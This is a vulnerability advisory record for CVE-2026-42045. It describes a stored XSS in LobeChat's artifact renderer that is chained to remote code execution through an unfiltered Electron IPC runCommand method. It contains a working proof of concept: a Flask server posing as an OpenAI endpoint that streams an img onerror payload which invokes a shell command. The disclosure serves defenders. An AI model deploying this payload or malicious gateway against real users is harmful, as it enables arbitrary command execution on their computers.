{"id":"CVE-2026-42045","aliases":["GHSA-xq4x-622m-q8fq"],"url":"https://o3.security/vulnerability/CVE-2026-42045","summary":"LobeHub: Cross-Site Scripting(XSS) escalate to Remote Code Execution(RCE)","details":"### Summary\nThe vulnerability was automatically discovered by an ai agent and then manually verified.\n\nLobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).\n\nThe LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.\n\n### Details\nWhen LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.\n\n```typescript\nconst Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {\n  switch (type) {\n    case 'application/lobe.artifacts.react': {\n      return <ReactRenderer code={content} />;\n    }\n\n    case 'image/svg+xml': {\n      return <SVGRender content={content} />;\n    }\n\n    case 'application/lobe.artifacts.mermaid': {\n      return <Mermaid variant={'borderless'}>{content}</Mermaid>;\n    }\n\n    case 'text/markdown': {\n      return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;\n    }\n\n    default: {\n      return <HTMLRenderer htmlContent={content} />;\n    }\n  }\n});\n\nexport default Renderer;\n```\n\nIf an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.\n\nAdditionally, Lobechat's Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user's privileges.\n\n```typescript\n  @IpcMethod()\n  async handleRunCommand({\n    command,\n    description,\n    run_in_background,\n    timeout = 120_000,\n  }: RunCommandParams): Promise<RunCommandResult> {\n    ...\n    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {\n            env: process.env,\n            shell: false,\n          });\n    ...\n  }\n```\n\n### PoC\nThe attacker launched a malicious OpenAI gateway on port 5001\n\n```python\nfrom flask import Flask, Response, request, jsonify\nimport time\nimport json\n\napp = Flask(__name__)\nfake_api_key = \"sk-test\"\n\n@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])\ndef chat_completions():\n    if request.method == 'OPTIONS':\n        return Response(status=200, headers={\n            'Access-Control-Allow-Origin': '*',\n            'Access-Control-Allow-Headers': '*'\n        })\n\n    # Check for API Key\n    auth_header = request.headers.get('Authorization')\n    print(auth_header)\n    if not auth_header or auth_header != f'Bearer {fake_api_key}':\n        return jsonify({\"error\": {\"message\": \"Invalid API Key\", \"type\": \"invalid_request_error\", \"code\": \"invalid_api_key\"}}), 401\n\n    def generate(): \n        payload = \"\"\"\n<lobeArtifact type=\"nebula\">\n<img src=x onerror='window.parent.electronAPI.invoke(\"shellCommand.handleRunCommand\", {command:\"open -a Calculator\"})'>\n</lobeArtifact>\n\"\"\"\n        # Split payload into chunks to simulate streaming\n        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]\n        \n        for chunk in chunks:\n            data = {\n                \"id\": \"chatcmpl-hpdoger-123\", \n                \"object\": \"chat.completion.chunk\", \n                \"created\": int(time.time()), \n                \"model\": \"gpt-3.5-turbo\", \n                \"choices\": [{\n                    \"index\": 0, \n                    \"delta\": {\"content\": chunk},\n                    \"finish_reason\": None\n                }]\n            }\n            yield f\"data: {json.dumps(data)}\\n\\n\"\n            time.sleep(0.1)\n        \n        # End of stream\n        final_data = {\n            \"id\": \"chatcmpl-hpdoger-123\", \n            \"object\": \"chat.completion.chunk\", \n            \"created\": int(time.time()), \n            \"model\": \"gpt-3.5-turbo\", \n            \"choices\": [{\n                \"index\": 0, \n                \"delta\": {},\n                \"finish_reason\": \"stop\"\n            }]\n        }\n        yield f\"data: {json.dumps(final_data)}\\n\\n\"\n        yield \"data: [DONE]\\n\\n\"\n\n    return Response(generate(), mimetype='text/event-stream', headers={\n        'Access-Control-Allow-Origin': '*', \n        'Access-Control-Allow-Headers': '*'\n    })\n\n@app.route('/v1/models', methods=['GET'])\ndef models():\n    return jsonify({\n        \"object\": \"list\", \n        \"data\": [{\n            \"id\": \"gpt-3.5-turbo\", \n            \"object\": \"model\", \n            \"created\": 1677610602, \n            \"owned_by\": \"openai\"\n        }]\n    })\n\nif __name__ == '__main__':\n    print(\"Evil OpenAI-compatible server running on http://127.0.0.1:5001\")\n    app.run(port=5001, debug=True)\n```\n\nThe victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.\n\n<img width=\"2048\" height=\"772\" alt=\"image\" src=\"https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7\" />\n\nThe victim was exposed to an arbitrary command execution vulnerability while chatting\n\n<img width=\"2048\" height=\"1036\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9\" />\n\n### reproduction\nFor attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim's environment.\n\nhttps://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d\n\n### Impact\nAffected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.\n\n### Patch\nA patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.","published":"2026-05-12T16:47:32.636Z","modified":"2026-08-12T03:51:16.688165393Z","cvss":{"score":6.2,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N"},"epss":{"score":0.00266,"percentile":0.18416,"asOf":"2026-08-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@lobehub/lobehub","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42045.json"},{"type":"ADVISORY","url":"https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42045"},{"type":"PACKAGE","url":"https://github.com/lobehub/lobehub"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.688165393Z"}}